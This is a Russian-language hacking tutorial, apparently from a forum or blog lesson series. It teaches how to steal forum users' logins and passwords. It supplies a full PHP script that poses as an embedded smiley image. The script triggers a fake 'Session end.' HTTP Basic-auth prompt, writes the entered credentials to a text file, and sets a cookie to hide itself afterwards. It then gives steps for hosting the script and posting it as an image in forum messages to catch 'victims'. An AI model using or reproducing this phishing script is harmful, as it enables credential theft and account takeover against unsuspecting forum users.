В этом уроке мы рассмотрим один из способов заимствования пароля пользователей, который по сути очень похож на фейк. Во-первых, мы снова заставляем пользователя вводить логин и пароль в нашу подставную форму, во-вторых, мы снова будем вытягивать пароль из пользователя, а не взламывать базу данных сайта. Конечно, это проще и быстрее, но у этого пути взлома есть свои недостатки: мы рассчитываем лишь на невнимательность и легкомыслие нашей жертвы. Но хватит тут теоретических разглагольствований, поехали осуществлять наши адские планы!
Как это работает
Со стороны пользователей это выглядит так: сидят они себе на любимом форуме, просматривают темы и вдруг бац! Появляется такое:
Доверчивый пользователь либо сразу честно введёт свой логин и пароль, либо закроет окно... что же, не беда, через некоторое время оно снова откроется! Конечно, 100% гарантии что жертва введёт свой настоящий пароль нет, но шанс что кто-нибудь попадётся всё-таки есть.
Ок, так это увидит жертва, а как такое сделать? Всё очень просто! На любом уважающем себя форуме пользователи имеют возможность вставлять в свои сообщения изображения. Но ведь это так скучно! Давайте вместо изображения вставим так ссылку на скрипт, который запросит логин, пароль и запишет их!
Готовим тот самый скрипт
Содержимое его таково:
Code
<?
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Session end."');
}
elseif($login)
{
setcookie('LOGON',md5($pass)); //ставим кукис, чтобы при повторном заходе авторизации небыло, а в самом начале проверка есть ли кукис
// записываем логин и пасс в base.txt
$log = fopen("base.txt","at");
fwrite($log,"\n $login:$pass \n");
fclose($log);
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('img.gif');
imagegif($image);
imagedestroy($image);
}
}
?>
Сохраняем всё в файл smile.php. Так же в папке со скриптом создайте пустой base.txt и положите картинку с именем img.gif. Например, эту .
Объясню немного что делает данный скрипт. Сначала он проверяет, сохранены-ли кукис для данного сайта (они сохраняются после ввода пользователем логина и пароля). Если их нет, запрашивает логин и пароль и сохраняет их в файл base.txt, после чего сохраняет кукис и превращается в загадочный смайл (ну или любую картинку, которую вы сохраните в файле img.gif). Так как кукис сохраняются, при последующих запусках скрипта, он не будет спрашивать логин и пароль, картинка также не будет появляться (после проверки, есть-ли кукис, скрипт будет просто завершаться).
Тестирование
И снова нам пригодится наш localhost! Кидаем эти 3 файла (smile.php, img.gif, base.txt) на localhost и открываем наш smile.php в браузере. Должна появится форма с запросом логина и пароля (см. картинку выше). Вводим что угодно (пароль не менее 5 символов) и, если всё правильно, видим на странице нашу картинку из img.gif. После обновления страницы она должна оказаться пустой и запрос ввода больше не должен появляться (ведь кукис уже сохранены). Теперь лезем в base.txt - там должно быть то, что вы вписали в поля логин и пароль. Надеюсь, всё прошло гладко.
Заливаем всё на хост
Теперь нужно залить всё на хостинг с поддержкой php, дабы можно было вставлять в сообщения ссылку на наш скрипт. Рекомендую в данном случае использовать хостинг от phpnet.us http://phpnet.us/index.php?option=com_w … p;Itemid=8
(сразу предупреждаю - на freehostia по неведомым причинам не сохраняются кукис, из-за чего скрипт работает некорректно). По той же схеме, что и с фейком, заливаем все 3 файла на хост и ставим права 777 для base.txt. Не грех было бы проверить всё ещё раз, не так-ли?
Пользуемся нашим творением!
Для того, чтобы наша форма ввода появилась на странице форума, нужно просто вставить её адрес в сообщение как картинку, то есть как-то так:
Code
--
Только напишите в вашем сообщении что-нибудь ещё, чтобы оно не оказалось пустым.
Пользуйтесь наздоровье, но не забывайте о риске быть забаненным за такие дела (надеюсь, вы поняли о чём я )!
До скорого!
Пользуемся нашим творением!